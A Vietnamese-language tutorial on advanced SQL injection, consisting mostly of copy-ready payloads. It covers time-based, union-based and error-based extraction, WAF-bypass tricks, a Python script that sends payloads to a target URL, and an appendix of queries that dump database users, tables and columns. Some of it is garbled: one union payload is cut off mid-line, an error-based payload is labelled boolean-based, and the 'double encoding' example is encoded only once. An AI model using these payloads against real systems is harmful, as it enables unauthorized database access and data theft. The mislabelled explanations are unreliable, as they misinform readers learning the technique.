Table of Contents
Một số tải trọng nâng cao hơn và giải thích
Hướng dẫn này khám phá một số kỹ thuật SQL Injection nâng cao, tập trung vào
các tải trọng phức tạp, phương pháp bỏ qua WAF và tự động hóa bằng cách sử
dụng các tập lệnh Python.
1. Tiêm SQL mù dựa trên thời gian với tải trọng phức tạp
Tiêm SQL mù theo thời gian dựa vào phản hồi của cơ sở dữ liệu dựa trên độ
trễ thời gian. Phương pháp này có hiệu quả khi ứng dụng không trả về lỗi
hiển thị.
Tải trọng:
' AND IF(ORD(MID((SELECT IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>77,SLEEP(5),0)--
Giải thích: Tải trọng này sử dụng các câu lệnh có điều kiện để trì
hoãn phản hồi nếu ký tự đầu tiên của tên cơ sở dữ liệu lớn hơn ' M '. Nó
giúp trích xuất dữ liệu từng ký tự một.
Cách thức hoạt động:
- ORD() hàm chuyển đổi ký tự thành giá trị ASCII của nó.
- MID() hàm trích xuất một chuỗi con từ kết quả của truy vấn phụ.
- IF() trì hoãn phản hồi có điều kiện SLEEP() dựa trên giá trị ASCII.
- Tải trọng này được đưa vào một tham số dễ bị tấn công, khiến ứng dụng trì hoãn phản hồi nếu điều kiện là đúng, giúp suy ra giá trị của ký tự.
2. Tiêm SQL mù dựa trên Boolean với tải trọng lớn
SQL injection mù dựa trên Boolean khai thác các điều kiện đúng hoặc sai
trong truy vấn SQL để trích xuất thông tin.
Tải trọng:
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(0x7e,0x27, DATABASE(), 0x27,0x7e)) FROM information_schema.tables LIMIT 1,1), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
Giải thích: Tải trọng này sử dụng truy vấn phụ để nối tên cơ sở dữ
liệu với các ký tự đặc biệt và nhóm theo một giá trị ngẫu nhiên, buộc cơ sở
dữ liệu phải trả về một kết quả cụ thể.
Cách thức hoạt động:
- COUNT(*) đếm số hàng được trả về.
- CONCAT() nối tên cơ sở dữ liệu với các ký tự đặc biệt.
- RAND() tạo ra một số ngẫu nhiên.
- GROUP BY buộc truy vấn thực thi truy vấn phụ, dẫn đến lỗi nếu điều kiện sai.
- Tải trọng này giúp trích xuất thông tin bằng cách quan sát hành vi của ứng dụng dựa trên điều kiện boolean.
3. Tiêm SQL dựa trên Union với nhiều câu lệnh
Tải trọng :
' UNION ALL SELECT NULL, CONCAT_WS(CHAR(58,45,45,58), user(), database(), version()), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
4. Tiêm SQL dựa trên lỗi với tải trọng nâng cao
SQL Injection dựa trên lỗi dựa vào cơ sở dữ liệu để tạo ra lỗi tiết lộ thông tin về cấu trúc và nội dung của cơ sở dữ liệu. Bằng cách tạo ra các tải trọng buộc cơ sở dữ liệu tạo ra thông báo lỗi, kẻ tấn công có thể trích xuất dữ liệu có giá trị.
Tải trọng:
' AND 1=CONVERT(int, (SELECT @@version))--
Giải thích: Tải trọng này buộc cơ sở dữ liệu phải chuyển đổi giá trị chuỗi thành số nguyên, tạo ra lỗi bao gồm phiên bản cơ sở dữ liệu. Bằng cách thao túng tải trọng, kẻ tấn công có thể lấy các thông tin khác nhau từ các thông báo lỗi.
Cách thức hoạt động:
- Hàm này CONVERT() cố gắng thay đổi chuỗi phiên bản cơ sở dữ liệu thành một số nguyên.
- Điều này gây ra lỗi vì chuỗi phiên bản không thể chuyển đổi thành số nguyên.
- Thông báo lỗi sẽ hiển thị phiên bản cơ sở dữ liệu.
Ví dụ sử dụng :
' AND 1=CONVERT(int, (SELECT table_name FROM information_schema.tables))--
Tải trọng này tạo ra lỗi hiển thị tên bảng từ information_schema.tables.
Kỹ thuật bỏ qua WAF
WAF (Tường lửa ứng dụng web) thường chặn các mẫu SQL injection phổ biến. Cần có các kỹ thuật tiên tiến để vượt qua các biện pháp phòng thủ này.
Mã hóa kép
Tải trọng:
%27%20AND%201=1%20--%20
Giải thích: Tải trọng này sử dụng mã hóa URL kép để bỏ qua bộ lọc WAF chỉ giải mã đầu vào một lần.
Biến thể trường hợp
Tải trọng:
' aND 1=1 --
Giải thích: Tải trọng này sử dụng cả chữ hoa và chữ thường để tránh bộ lọc WAF phân biệt chữ hoa và chữ thường.
Làm tối nghĩa bình luận
Tải trọng:
'/**/AND/**/1=1--
Giải thích: Tải trọng này chèn các chú thích giữa các từ khóa để bỏ qua các bộ lọc khớp mẫu đơn giản.
Tự động hóa SQL Injection bằng Python
Tự động hóa SQL Injection có thể tiết kiệm thời gian và tăng hiệu quả. Python, với các thư viện đa năng, là lựa chọn tuyệt vời để tạo các công cụ tự động.
Mẫu tập lệnh Python để tự động hóa SQL Injection
Kịch bản:
import requests def sqli_test(url, payload): full_url = f"{url}{payload}" response = requests.get(full_url) return response.text def main(): url = 'http://example.com/vulnerable_page.php?id=' payloads = [ "' AND 1=1 -- ", "' AND 1=2 -- ", "' UNION SELECT NULL, CONCAT_WS(CHAR(58,45,45,58), user(), database(), version()), NULL -- " ] for payload in payloads: result = sqli_test(url, payload) if "error" in result or "You have an error in your SQL syntax" in result: print(f"Potential SQL Injection vulnerability found with payload: {payload}") print(result) if __name__ == "__main__": main()
Giải thích:
- Tập lệnh này định nghĩa một hàm sqli_test()để gửi các yêu cầu HTTP GET với dữ liệu SQLi.
- Hàm này main()lặp lại danh sách các tải trọng, gửi từng tải trọng đến URL đích.
- Tập lệnh kiểm tra phản hồi để tìm các thông báo lỗi SQL thông thường, chỉ ra lỗ hổng tiềm ẩn.
Phụ lục: Tải trọng và tài nguyên bổ sung
Tải trọng bổ sung
1. Trích xuất người dùng cơ sở dữ liệu:
' UNION SELECT NULL, user() --
2. Trích xuất tên bảng:
' UNION SELECT NULL, table_name FROM information_schema.tables --
3. Trích xuất tên cột:
' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' --
Tài nguyên